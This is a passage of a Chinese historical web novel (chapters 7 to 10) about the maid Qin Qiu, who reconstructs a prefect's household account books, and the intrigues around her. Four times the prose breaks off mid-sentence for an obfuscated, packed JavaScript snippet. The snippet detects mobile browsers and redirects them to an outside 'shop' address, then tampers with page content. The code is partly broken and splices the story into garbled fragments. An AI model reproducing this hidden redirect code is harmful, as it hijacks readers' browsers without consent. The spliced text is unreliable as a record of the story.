青梧懒懒地笑了一声，说道：“郭二姑娘确实是个大美人儿，你们要是不信啊，明儿腊八，老夫人肯定会带着她逛园子，尽管去园子里瞧去！”说完，目光若有似无地落在碧霄身上。 碧霄面上淡淡的，心里却止不住升起了一股探究的欲望，她忍不住深思，在大房除服的当口，一个年轻貌美的姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598209|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投奔了来，到底何意？ “我还听说啊，老夫人可喜欢郭二姑娘了，今日才第一回见她，就稀罕得什么似的，让木槿姐姐送了好些东西去清渊阁呢！说不得这位郭二姑娘有大造化！”鹊儿又将她从那些婆子那儿听来的话学给众人听，连腔调都是一模一样的，众人不免又笑了起来。 “你这小妮子，才多大年纪，知道什么是大造化？”有人嗤笑道。 鹊儿红了脸就要去拧对方的嘴，屋子里又是一阵哄笑，众人围着那盆烧得正旺的炭火，忽然都对那位郭二姑娘好奇起来，只等着明日腊八去园子里一睹芳容。 “木槿，你瞧着这位郭二姑娘怎么样？”各房定省毕，众人都已散去，刘母却是意犹未尽，拉着木槿的手絮叨个不住。 木槿笑道：“郭二姑娘确实生得好，言谈也爽利，瞧着倒是比二夫人更要强些。” 刘母赞许地点头，叹道：“你还是说得委婉了，我这二儿媳，要说聪明呢，人也不算太笨，就是太软弱了，一味地只知道迎合老二，偏偏老二是最不成器的！唉！二房管家这一年，我心里不是没数。只是想着往日里他们总说我偏心，今儿就让他们看看这家到底好不好当，唉！” “老夫人也不必太过忧心了，如今不是也没出什么乱子嘛！”木槿一面说一面搀着刘母往里间而去。 刘母颤颤巍巍地走着，叹息道：“你想必也看得出来，我为老大张罗续弦，一则是不想看他孤鬼儿一个，二则这个家也不能长久地交到二房手里。他们想捞钱，一年两年我都能忍，若想要更多便是不能了！” 听这话里的意思，这位郭二姑娘，老太太虽说嘴里夸个不停，但也没有更多的意思，只是不知，这府里其他人又要怎么揣摩了！呵，管他呢！木槿心下暗忖着，手上动作不停，麻利轻快地伺候刘母歇下了。 从刺史府后园的偏门一拐出去，先是一条横贯东西的小巷子，刘府那些已经成了家的奴仆多住在此处，从小巷子东面再拐出去，有一条虽说不是主路但也十分热闹繁华的街道，因这街道细细长长的，像一根擀面杖，旁人就叫它擀面街。那些被主家放了身契、脱籍从良的人家，多喜欢在擀面街买宅赁屋，萧家就是其中一户。 腊八这日一大早，萧举年前几日雇下的马车就已候在门外，他和弟弟萧止时一左一右搀着自家祖母上了马车，车夫不紧不慢地喝了一声“驾”，他们一行三人就慢慢地往刺史府行去。 马车内，萧嬷嬷还在对两兄弟殷殷嘱咐：“给老夫人请了安，可别瞎跑，那是刺史府内宅，莫冲撞了女眷。” 萧止时比萧举年小三岁，听了祖母的话，嬉笑着说道：“祖母放心，咱们也不是第一回进府了，规矩都懂。更何况，我还小呢，您还是多看着点我哥吧！我可瞧见了，昨日睡前，他可试了好几套衣裳呢！”说完，拉住萧嬷嬷一只手，冲萧举年使了一个飞眼。 “哦？”萧嬷嬷略感惊奇，好奇地看向自家大孙子。 萧举年瞪了弟弟一眼，右手成拳抵在唇边，不自在地轻咳一声，从容地解释道：“祖母别听二郎瞎说，我如今是州府衙门的录事，此去不仅要拜见老夫人，我的上峰也在府内，衣着更得庄重些。” 萧嬷嬷立时点头，道：“你说得极是，是该如此的。还是你稳重，你呀！”最后一叹是拿手指敲着萧止时的脑门说的。 8. 第八章 “秦秋姐姐，走，咱们去园子里寻个暖和的地方等着。得让你好好瞧瞧那位郭二姑娘是怎生个美人！她们都说我扯谎，你得去帮我作证。”鹊儿蹦到秦秋面前，不由分说地拉起她就往外走。 秦秋好笑地看着她，道：“你怎不跟着她们去和熙堂？” 鹊儿撇撇嘴，道：“和熙堂哪儿能轮到着咱们啊！你放心跟我出门去吧，青梧姐姐和碧霄姐姐已经随着大爷去和熙堂请安了，各房的主子们这会儿都在和熙堂呢，今日逛园子不算偷懒！” 秦秋只好无奈地由着她去。 只是二人一脚才跨出远门，就与刘从俭迎面撞了个正着。鹊儿被唬了一跳，忙不迭地行礼，秦秋亦忙垂眸福身。 刘从俭皱着眉头，看着寂无人声的院子，声音里似乎带着几分火气：“凝晖轩的人呢？就剩你们两个了？” 两个守门的婆子和两个没出去的丫鬟闻声立时上前，不知刺史大人为何忽然折返回来，几人都有些手足无措。秦秋正垂眸暗忖，这位大人葫芦里又是卖的什么药？明明是他带了一批人去和熙堂请安，这会儿又嫌人不在？ “谁会研墨？”刘从俭冷声问道。 几人的眼神齐刷刷地射向秦秋，秦秋这下明白葫芦里是什么药了，又有银子等着她赚。秦秋压了压嘴角，恭声说道：“回大人，婢子秦秋，上月你为夫人写祭文的时候，是婢子在书房伺候的。” “唔，我想起来了，是你。既是会研墨，随我来吧。”刘从俭随意地瞟了一眼就移开目光，点点头，一扭头一转身又往外走去。 秦秋愣了一下，不是去小书房吗？ 鹊儿在身后推了她一把，低声催促：“秦秋姐姐，快跟上。” 正思院坐落在刚进二门、通往正院的路上，素日被刘从俭当成书房和议事之所。 这日，守在正思院门外的小厮，先是见萧录事说要拜访刺史大人，等候在此，片刻之后，又见大人步履匆匆而来，身后，嗯，身后还跟着个丫鬟，看其妆扮，应是府里的二等丫鬟，那小厮颇觉好奇，便瞧瞧多看了两眼。嗯，不是以往跟在内宅主子们左右的那几个姐姐，想来是个粗使丫鬟。那小厮收回目光，不再探究。 秦秋一路跟在刘从俭身后，心里早九转十八弯地冒出许多猜测，无一不跟泽裳阁的账册有关。按着大夫人在世时的苦心经营，若不出意外，泽裳阁今年的盈利至少是一万两银子，如今只剩了“一千余两”，这背后昧下的银两，几乎是刺史府近两年的花销了！秦秋缩缩脖子，也不知是被冷风冻的，还是细想之下吓的。 脚步声由远及近，一个重些一个轻些，大人这是将人带来了。 萧举年整了整衣襟，垂手肃穆地站着。“吱呀”一声，书房的门被推开了，萧举年没有立时抬眼张望，而是恭敬地行礼：“卑职见过大人。” 他眼角余光掉落之处，先是掠过一角孔雀蓝的织锦衣袍，而后再是一截青灰的裙摆、上罩着绛红色的棉袄。年关将近，刘母喜欢府里的年轻丫鬟们穿鲜亮的颜色。萧举年今日在后院所见之人，不是红就是紫。 刘从俭在书案后面的椅子上坐定，才用下巴轻轻一点，道：“这是府里的丫鬟，泽裳阁的账册有何疑问，你就问她吧。” 萧举年忙抽出袖中藏的几页纸，环顾左右，走到一旁的高几边上，将手中之物在那茶几之上摊开，秦秋只得走过去。 萧举年趁着人还没走到跟前的这间隙，暗中打量着秦秋。眼前的姑娘，五官并没有惊艳到他，事实上，她的长相再普通不过，跟他今日路上遇着的所有人相比，她只能算五官端正，可就是这么一个貌不惊人的姑娘，竟然默写出了过往五年的账册，他心底不由地再次升起敬佩之情。感慨之间，秦秋已到眼前。 萧举年忙收敛心神，问道：“姑娘，这账册我有几处不明，还请赐教。其一，这位定远将军吴夫人，她府里一众人等的衣料都是在泽裳阁采买的，最多的一年八百匹，最少的一年也有五百匹，可是我看这账目，为何每年她都只付二百两银子？赊欠都是一年一清，挂账似乎也没有五年不结的道理？” 秦秋唇边有一闪而过的笑意，她轻声说道：“这位大人既注意到了这一处异常，想必也发现了另一处，泽裳阁有一家江南客商，供应生丝的，每年的供货，他家的价格都比另两家低两到三成。” 萧举年一脸恍然大悟的神情，道：“你的意思是？” “正是。”秦秋点点头，道，“那家客商是吴夫人牵的线搭的桥，是她本族的一个远亲，每年吴夫人那二百银子之外的货款，都是这家客商折补的。” 萧举年忙默默记下，又开口问道：“还有这处……” 刘从俭昨夜走了困，没睡几个时辰，今日又早起主持族中腊八祭典，此时书房中的四个炭盆烧得熊熊正旺，屋子里暖烘烘的，那二人在一旁不疾不徐地讨论账目，那些带着银两的声音伴着屋里的炭，竟有些暖风熏人醉的意思，像给他助眠一般，也就一盏茶的功夫，他竟手倦抛书，朦朦胧胧合了眼。 等萧举年把疑惑都解开，已过了近半个时辰。二人同时闭了嘴，刺史大人轻微的鼾声便格外清晰。 秦秋愣了愣，她可没那胆子把刺史大人喊醒，只好求助地看向萧举年，道：“这位大人，您若是没有旁的吩咐，我是不是可以走了？” 也是这一抬头的功夫，萧举年才第一次看清了秦秋的眼眸，沉静如古井，幽深如渊潭，他又忆及二人方才的对话，猛然发现，对方自始至终都没有紧张过，她说话的声音、语调从一开始就很平稳，对自己、对刺史都是一样的，这对萧举年来说是一种很不寻常的体验，也至让他的内心微微震颤。 萧举年也到了议亲的年纪，萧家三代人，一代为奴二代平民三代官身，虽说他这九品小官在达官贵人眼里算不得什么，但也是他们家那一片街头巷尾数一数二的人物了，多少在刺史府当差的旧识主动透出想结亲的意思，甚至街头的钱员外和马员外也对他示过好，更别说每次进府里给老夫人请安，府里那些不少小丫鬟的惊艳神色和窃窃私语。 而这位姑娘，他忍不住看向眼前的人，在与他讨论账册时，眼神清亮而自信，那是纯属于她在自己熟悉的一亩三分地上的从容，而此刻向自己询问是否可以走了，也只是单纯的疑问，眼神里丝毫没有透露出任何对自己这个人的好奇或是其他情愫。 秦秋见自己一句话问出口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598210|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方不答，反而疑惑地来回扫视着自己，她也不解，莫非觉得自己不够恭敬？真麻烦！她只好又重复了一遍：“这位大人可还有旁的要问，若是没有，婢子可否先行告退？” 鬼使神差地，萧举年自报起家门来：“在下萧举年，是萧嬷嬷的孙子，如今在大人手底下做事，是州府衙门的录事。” 秦秋一愣，方才她进门时，刺史大人含糊其辞，特意不向他二人道明各自的身份来历，不就是因为账册这事乃是机密，将来就算有人问起今日之事，她也答不上来今日所见是何人吗？怎么，这位萧，萧录事，萧大人竟不能领会大人深意？ 见对方仍目光灼灼地在等着她的回话，秦秋只好支吾着说道：“见过萧大人，婢子在后院当差。” 秦秋心里想着，大人召见她是以研墨之名，即便是二房怀疑也没有实证，可若是有朝一日二房因为泽裳阁的事吃了挂落、而又恰好知道为大人办事的萧录事见过“秦秋”，那她可就危矣！大人啊，你们是不怕，可她一个小丫鬟怕呀！在后宅，这些主子们想弄死她，或想磋磨她，甚至都不用暗箭，明刀明枪都够她受的！ 萧举年愣了，一时说不出话来。 秦秋见他这样，索性也不问了，她默默地挪到门边，垂首站着，只等刘从俭醒来发话。 萧举年呆愣了片刻，忽然福至心灵，又明白过来，她应是怕账册从她手中而来的事传出去，二房会因此对付她吧，毕竟，不论是刺史大人还是自己，二房想对他们下手可不容易，但是对她就不一样了！她一个在后院当差的丫鬟，二房想让她消失是轻而易举的事。是自己莽撞了，竟没有一个姑娘机灵！ 萧举年再次把目光投向不远处站着的人，她就那样站着，不卑不亢，像一棵雪后青松，奇怪，她的外貌和身姿明明再平常不过，可他的心底却有些异样起来，脸上也隐隐发烫。 所幸，刘从俭似乎在梦中感应到了二人的尴尬，适时地醒了。他一睁眼就看到书房里另外两个人都静静地站着，中间隔了数尺远。 “举年，问完了？”刘从俭看向萧举年。 “回大人，卑职问完了。” 刘从俭点点头，转向另一人，也许是因为刚睡醒，刺史大人的精明谨慎都还未归位，叫完“举年”之后，又道：“既如此，秦秋，你先回去吧。若有旁人问起，就说我的书僮今日家去了，我要写一封要紧的公文，唤你来研墨的。喏，这十两银票，赏你的。” 刺史大人唤出“秦秋”二字时，秦秋眼中难掩震惊之色，这两个字听在她耳里犹如晴天霹雳、冬日惊雷，她沉默地上前接过银票，再行礼告退，直至离开书房，她都没有缓过神来。只是麻木又飞快地迈出屋子，逃也似的向凝晖轩的方向奔去。 她不管，若有一日二夫人真出手了，她是替大人办事，也只能往大人身上泼脏水了！若真到了那一日，也不知道碧霄会不会撕了她，唉！ 时刻留意着秦秋的萧举年，自然没有错过她脸上的惊愕、茫然以及一丝，唔，咬牙切齿，他看着重新掩上的书房门，竟有些想笑，原来除了平静和镇定，她也有别的神情啊！大人也是没睡醒吧！秦秋，秦秋，秦秋背地里应是在破口大骂吧！ 9. 第九章 “秦秋姐姐，你可算回来了！” 秦秋一进院门，鹊儿就迎了上来。她人生得娇小玲珑，一径扎在秦秋面前的阴影里，又探出半边身子往秦秋身后望去，见并无旁人，才拍着胸脯说道：“先前把我吓个半死，谁能想到大人会忽然回来。还好姐姐会研墨，否则大人该责怪咱们没用了。走，我给你留了好东西。”鹊儿一面说一面拽着秦秋回屋。 秦秋这时有气无力，有一个鹊儿在身边叽叽咕咕的，她倒是觉得好了许多，慢慢地恢复了不少心力。算了，且看吧，大人瞧着不像是不顾底下人死活的，若真到了那一步，应当不会弃她不顾。 “这是和熙堂今日赏的点心，碧霄姐姐带回来的，我费了好大劲才抢了四块，特意留着等你回来！”鹊儿小心翼翼地打开一个手绢，献宝似的双手托着捧到秦秋眼前。 秦秋心里渐渐回暖，脸上也有了笑意，道：“在书房站了半个时辰，连口水也没喝，我还真饿了，多谢你惦记我！”话说着，已动手捻了一块送进嘴里，又走到桌边倒了大半碗热茶。 鹊儿自己也捻了一块，二人对坐着闲话起来。 “秦秋姐姐，你不知道，咱们没去和熙堂可太亏了！”鹊儿一脸懊恼地叹道。 秦秋猛灌了一大口热茶，才抹嘴问道：“亏什么？点心吗？你放心，我过几日家去，给你带一包陈家点心铺的枣糕回来。” 鹊儿一听枣糕，先是欢喜地点头，而后又继续摇头，神秘兮兮地把脸往前凑，道：“咱们亏的可不只是点心！听说，今日萧嬷嬷领着她的孙子进府来请安，喜枝她们都瞧见了，哎哟哟，真是好俊俏的两个小郎君！咱们要是跟着一块去就好了，既可以一饱眼福，又可以领老夫人的赏，还不会碰上大人，你说，咱们是不是亏大了？” 鹊儿的眼里是满满的懊恼和可惜，秦秋默默地又咽下一大口茶水，心下叹道，鹊儿，真是对不住，我倒是见了其中一个，弟弟想必也差不多吧。她又摸摸衣襟处的银票，赏倒是也领了，只是—— 一想到已经有第三个人知道账册出自她的手，秦秋就一脸怅然。两人托腮对坐着，各恼各的。 碧霄从她们身旁走过时，见到的便是二人愁眉苦思的模样。她略一思忖，就真当秦秋是因为没去和熙堂而懊悔，且看她这副模样，书房的差事想必也没讨着好，否则大人该赏她、她该欢喜才对。这么一想，碧霄嘴角轻勾，只轻轻地撇了两眼就径直回屋去了。 一跨进清冷的卧房，碧霄又笑不出来了，她今日见着了那位郭二姑娘。 往日也不是没听人说过，都说蜀地的姑娘肤色白皙，可她每日里瞧着二夫人，倒是跟她们也没甚差别，她以往只当那是夸大其词，可今日见了郭二姑娘，才知什么是肤白胜雪、姿容绝代！昔时她自视甚高，总以为自己温柔和顺、又容貌过人，大人总有一日会晓得她的好，可今日只远远地瞧了一眼，她便觉自己面如黑炭、自惭形秽起来。 更何况，她忆及老夫人对这位郭二姑娘的亲昵，碧霄抿紧了唇，姐姐嫁了二房，妹妹倒也不是不能嫁给长房做继室。她听闻这位郭二姑娘性情有几分泼辣，且又读书识字、能言善辩，这样的人若当了凝晖轩的主母，比她貌美、比她能干，她还能有几分指望能当一个受宠的姨娘？ 莫非自己真要等到过了年，被拉去随便配个小厮？等再过个几年，要么在这后宅里当个管事姑姑，要么夫妻两个被打发去乡下管些田地庄稼？ 甘心吗？碧霄怔怔地坐在床头，看着镜子里的人。 青梧一进门就撞见碧霄这副失魂落魄的模样，心里也猜出了几分，嘴角一弯，道：“大人回来了，在小书房呢，碧霄姐姐不去书房外面候着？”说完，也不顾碧霄的反应，自己闷头翻箱子找东西。 碧霄看着她低头弯腰的背影，不禁问了出来：“青梧，你觉得这位郭二姑娘如何？” “唔，郭二姑娘嘛，自是好的。”青梧头也不回地答她。 碧霄呆呆地看着她，这满院里若要寻一个人诉衷肠，最不该寻的就是青梧，她知道她一定会奚落她，她都能想到她那双丹凤眼刻薄地往上吊着的模样，可是，碧霄张着嘴，嗫嚅半晌，最终吐出五个字：“你不担心吗？” “担心什么？”青梧寻了一件半旧的袄子出来，抱在手里，这才转过身，看向碧霄。那双丹凤眼此时没有素日那般尖锐，连眼里的讥诮都少了三分。 碧霄喃喃说道：“郭二姑娘可不比大夫人，大夫人虽贤惠，可是与大人总是淡淡的，看着不像夫妻，可郭二姑娘不一样，她这般品貌，嫁了谁不会被捧在心尖尖上呢？若，若到了那时，这院里可还有你我一席之地？” 青梧一手叉着腰笑了，笑了一会，才道：“碧霄姐姐想什么呢？凭谁是这凝晖轩的主母，不都需要伺候的奴才？你我本就是丫鬟，谈什么一席之地？咱们至多不过从这个屋子搬到隔壁屋子，横竖这一排后罩房总是咱们住的。”说完，又意味深长地看了碧霄两眼，才又推开房门出去了。 碧霄抱膝坐着，久久回不过神，只有腮上两行清泪滚滚而下。 而清渊阁那边，郭母今日在和熙堂见了刘从俭，又被老夫人的热情感染，不免也生出了几分遐想。母女二人从和熙堂回来，懒懒地倚在榻上，郭母一面猜着刘老夫人的心思，一面时不时地看郭云喧两眼，直到郭云喧被看得不自在，似笑非笑地问道：“阿娘总看我作甚？” 没有外人在场，郭母也不藏着掖着了，开门见山地问道：“喧儿，你觉着刘刺史这人怎样？” 郭云喧轻笑一声，低头继续逗着怀里的白猫，这是和熙堂的猫，今日总往她脚下蹿，刘母见这猫喜欢她，当场便赏了她。 郭云喧轻轻地揉着这小东西的肚皮，缓声说道：“咱们来朗州的路上，偶听来往商旅提起，都说这朗州刺史是个好官，昨日进城时，看这街市繁华、百姓安乐，确也像那么一回事，今日见着，不承想还仪表堂堂，可惜了，可惜那位早逝的刺史夫人。” 郭母眼珠一转，看向女儿怀里的白猫，掩口而笑，道：“你倒是合了老夫人的眼缘，听和熙堂的下人说，她素日里很喜欢这只猫呢。” 郭云喧手下动作一顿，微微倾了身体，将那猫放地上一放，拍拍手，对上郭母的眼睛，笑说道：“阿娘，你别多想。依我的意思，刘老夫人想的绝对跟你想的不是一回事。” 郭母笑容一滞，她是信这个女儿的，这三年，她们孤儿寡母相依为命，在大事上都是女儿做决断，甚至此次来朗州避祸，也是女儿先提出来的。郭母轻咳了一声，道：“我想什么你倒是知道？” 郭云喧挑了挑眉毛，也不点破，只道：“娘，你听我的，咱们呢，就在刺史府住个一年半载，等益州那家人歇了心思，咱们就走。至于走去哪儿，是回益州还是做旁的打算，你容我好好想想。只一点，这刺史府咱们只是来做客的。” 凝曦院内，郭云静亦是笑得一脸开怀。 马嬷嬷见状，忙上前凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598211|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣道：“还是二夫人能干，今日当着合族亲眷的面，老夫人可是笑得合不拢嘴呢，直夸二夫人会理事！若不是看在二夫人的面上，和熙堂的东西哪能随随便便就给了咱们二姑娘？这是老夫人在给二夫人做脸呢！” 郭云静听着十分受用，心里熨帖得很，伸出一指隔空虚虚点着马嬷嬷，嗔道：“你这老货，惯会哄我！” “老奴说的可都是大实话！春雪姑娘，你说是不是呢？”马嬷嬷说着话，脸上的褶子都恨不能开出一朵花来。 春雪不咸不淡地瞟了马嬷嬷一眼，才对着郭氏笑道：“老夫人今日是真欢喜的，不枉费夫人这些日子的操劳！” 郭云静和她们笑了一阵，忽然又想起一事，那笑顿时僵在脸上，她沉下脸问道：“我听说，大伯今日又带着那丫头去了书房？我让你二人去打听的事到底怎么个说法？” 马嬷嬷忙说道：“回夫人，老奴都打听过了，那丫鬟真是什么都不知道，大爷身边的小厮近日也没听谁提起过泽裳阁，账房那边也没有什么动静，夫人就放一百个心吧。” 郭云静显然不是很信这话，她又横了春雪一样，春雪亦忙说道：“奴婢也打听过了，凝晖轩的人都说秦秋只是去书房研墨，也没见秦秋额外得什么赏赐或厚待，想必是真与账册的事无关。夫人您想想，若是秦秋真知道泽裳阁的账册，大爷怎会一点赏赐都不给她？” “可不是嘛！夫人就算不信老奴，也得信春雪呀。这丫头没那么大本事，翻不出花来，她只是因为会认两个字，又伺候过大夫人，才让大爷多看两眼罢了。” “我心里还是觉得不踏实。”郭云静摇着头，道，“还是得作速打发了她才好！我记得你有个娘家侄子，还没娶妻是吧？” 马嬷嬷和春雪同时心头一跳。 马嬷嬷的侄子，名唤黄三儿，春雪没见过，但是听过。 那黄三儿已年近三十，仗着马嬷嬷在二房得势，他自己也在外面吃喝嫖赌无所不至，还每日里挂在嘴边，说他不娶妻是因为府里往常放出去的丫鬟都配不上他。后院众人说起他，谁不是狠啐两口，光是听到这个名字都觉得污了自己耳朵，谁的名字被他念上一句，都让人觉得恶心，这么一个癞蛤蟆—— 春雪看向郭氏，眼底难掩恐惧，心底升起一股寒意，夫人想干什么？本就是二房瞒了公中的银子，眼下不过是一点猜测，就想断了一个丫鬟的终身！一个丫鬟，丫鬟，哦，她自己也是一个丫鬟！春雪不寒而栗，她飞快地低下头，怕自己露出太多情绪，若有朝一日，有朝一日，自己…… 马嬷嬷想的却是另一件事，她的侄子可看不上秦秋，她侄子看上的是木槿！他们全家计议过了，眼下二房管着家，可终究不长久，大房总是要迎进新主母的，惟有扒住老夫人才是上策。木槿人生得好，又是老夫人身边得力的，若是能娶了木槿，他们日后还有什么可愁的。 马嬷嬷尴尬地笑了笑，道：“我那侄儿，想娶个标致些的，秦秋嘛……” 郭云静多少也听过黄三儿的“大名”，她嘲讽地撇撇嘴，道：“你那侄儿还有本钱嫌人家？” “夫人误会了，此事不好办呢。就算我侄儿想娶，秦家也未必会答应呀！老秦两口子可疼这个女儿了。再就是，咱们府里定下的规矩，丫鬟年满二十五岁可婚配，秦秋那丫头还早呢，还有两三年呢！”马嬷嬷连忙找补。 郭云静轻轻皱了下眉头，不耐烦地挥挥手：“罢了，你们先下去吧，容我再想想。” 10. 第十章 秦秋家也在刺史府后巷，小小一个院子，北面三间正房，西面是厨房，东面还有两间厢房，院子虽说不大，但极其周正，又临着巷子东头的擀面街，出门走几步就是热闹的街市，为了置办这处小院，她爹秦实当年可没少费力气。 “爹，娘，我回来了。”秦秋推开院门，厨房里探出的半边身子却不是她娘李氏。 “是秋儿回来了？”说话的是住在对门的六婶。六婶在刺史府的大厨房里头当差，因为她家男人行六，久而久之，大家都懒得称呼他家本姓，直以“六”呼之。 “六婶？！”秦秋有些意外。 “灶上热着汤，我给你盛一碗。你爹带你弟弟吃酒去了，老王要回乡下了，就是前院那个老账房，二夫人怜他在账房算了一辈子账，放了他身契，还赏了一笔银子，过两日他就带着老伴回乡下过年了。哦，你娘啊，你娘买东西去了！你姐夫今儿一早来了家里，说要给你姐姐扯两匹布，你姐夫哪儿会挑布啊？你娘就跟着一块去了，算算时辰也该回来了。哎呀，我家厨房的屋顶前两日被雪压塌了，还没修好呢……” 不用秦秋说话，六婶已经一把将她拉到灶台前面，按着她坐下，又塞了一个粗瓷碗进她手里，自己絮絮叨叨地说开了。 秦秋安静地听着，面上挂着笑，心里却在琢磨着那句“账房的老王被二夫人放了身契”，暗暗点头，这二夫人的手脚倒也是够麻利的，照这样看来，想必泽裳阁的掌柜也已经领了银子走人了，啧啧，难怪大人肯花一百两！ “吱呀”一声，院门又开了，这回才是她娘李氏。 “哟，你回来了。”李氏走进厨房，随手将两个油纸包搁在灶台上。 “娘！”秦秋忙起身，手里还捧着一个碗，呼呼冒着热气。 李氏看了一眼六婶，又看了一眼女儿，会心一笑，道：“你回屋去吧，我和你六婶要张罗午饭了。” 秦秋忙捧着手里的粗瓷碗，疾步进了北边最西面的屋子，进屋之前，还听到风中传来六婶的声音：“秋儿她娘，这猪肉可真俊啊！” 约莫过了一刻钟的功夫，李氏提着一个竹编的手炉寻进屋来，手炉里是从灶台底下扒拉出来的碎柴火，还给她加了两块新炭。 秦秋把空碗放下，笑眯眯地接过手炉，问道：“六婶呢？姐夫回去了？姐姐和舒姐儿怎么不一块儿进城？”舒姐儿是她外甥女，过了年就五岁了。 李氏摸了摸女儿的头发，斜睨着她，道：“你六婶在灶台边烤火呢，怎么，想你六婶啊，叫她过来跟你唠嗑呀？” 秦秋笑了，抱着手炉往李氏怀里钻，李氏搂住她就势坐下。李氏心知女儿自小不爱说话，不善应酬，从不强迫她在人堆里说话应景，哪怕是年节下，都会在亲戚面前寻了借口将她打发回屋。 李氏和秦秋挤在一块儿坐着，缓声说道：“舒姐儿这几日一到夜里就咳嗽，庄上的大夫开了药，但是吃了不管用，刚好你姐夫昨日猎了些野鸡野兔子，今日进城卖了，顺便给舒姐儿抓药。她人小，这天儿又冷，吹了风怕是咳得更厉害，所以没敢带她进城。你姐夫出门前她还闹呢。放心，我已经帮你这做小姨的给她扯了花布、买了蜜饯，趁着天色早让你姐夫出城家去了。等到了正月，这小丫头会来找你讨压岁钱的。” 秦秋眯着眼睛笑了，跟李氏腻歪了一阵，才又直起半边身子，正色道：“娘，我记着先时府里都有笔墨丫鬟的分例，专在书房伺候的，后来怎么没有了？” 李氏闻言，眼皮一压，低头打量着女儿，皱着眉头问道：“怎的？凝晖轩不太平了？有人挤兑你了？”之前刘从俭连着几日单独留秦秋在小书房伺候的事，秦家两口子自然是知晓的。 秦秋忙摇头解释：“这倒没有，她们犯不着挤兑我，至多不过说两句酸话罢了。只是，我想着，若是我能做一个在书房伺候笔墨的丫鬟，倒也省了不少事。” 李氏狐疑地看着她，似在思索这话的真假。 秦秋伸出一手，掰着手指头细细数着：“娘你想啊，这后宅里头，无非就是老夫人和各房的主子那儿，二房自不必说，那是个腌臜地儿，去不得的，三房这些年几乎不进人，上上下下全被三夫人洗了一遍，老夫人那儿固然好，可是府里多少家生子都挤破了头要进去呢。所以算来算去，还得待在大房。” “可大房的新夫人迟早要进门的，进门也总是要带人的，大房的一等丫鬟迟早全是新夫人的人，所以啊，我若是能在书房伺候笔墨，就不必在后头跟她们挤了。等年岁到了，跟大爷求个恩典，不也一样是个管事姑姑？难道新夫人连这点脸面也不给大人？” 李氏见女儿说得头头是道，不由地笑了，道：“行，你说的极是，只是大人点头了？书房的笔墨丫鬟，分例倒是还在，只是先时，大房嘛，大爷换成了小厮，二爷那儿，被二夫人裁了，三爷那儿，也被三夫人换了。所以啊，你的想头最终得大爷自己提才行。” 秦秋垂下头，默不作声，心想，这是她昨夜想了好久才想到的出路，总这么遮遮掩掩的徒惹二房猜疑，不如干脆灯下黑，索性直接领了书房的差事，大大方方地专在书房伺候，这样不管刺史大人让她做什么，旁人也不用总疑神疑鬼的。 府里的账房换了，泽裳阁熟知内情的掌柜和伙计想必也被弄走了，大人若要查账，她可是个香饽饽，大人应当会同意的吧？她能默写的可不止泽裳阁！ 李氏见她想得入迷，还当她在苦恼，便推了推她，安慰道：“行了，回头我和你爹想想法子。你自己在这儿烤火，我去厨房和你六婶做饭去了。今儿给你炖肉。” 萧举年步履匆匆地埋头走路，从后巷里头往外走，眼看就要拐出去，一个不留神，将一个才跨出院门的妇人撞了个趔趄。 “哎哟，阿婶，真是对不住，是我没看路。”萧举年忙伸手去扶她。 六婶借着萧举年的手站稳，又拍拍身上的棉袄，才轻斥道：“后生啊，走路看着些，天寒路滑，你们这些后生摔了不打紧，我们这些老骨头——哎哟，萧家小子？！你不认得我了？我是六婶啊！” “六婶？”萧举年头皮发麻，眉头紧皱，这是哪门子亲戚？ “你小子！”六婶却是极其亲热地连拍了好几下他的手臂，眉飞色舞，“你是萧嬷嬷的大孙子对不对？真记不得我了？我是大厨房的六婶，你小的时候，啧，没出府之前，这么高这么点儿大的时候，净爱钻进厨房偷拿油炸面果子！哎哟哟，要不是你之前进府里给老夫人请安，旁人指给我瞧，我还真认不出来呢。听说你如今在州府衙门做事，好小子，出息了！” 六婶喋喋不休地帮萧举年回忆往事，萧举年就算再认不出她，从话里行间也相信眼前之人的确乃是故人，他脸上带着谦和的笑，拱手作揖，嘴里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598212|156001||http|test|mini|href|location''.split(''|''),0,{})); () { 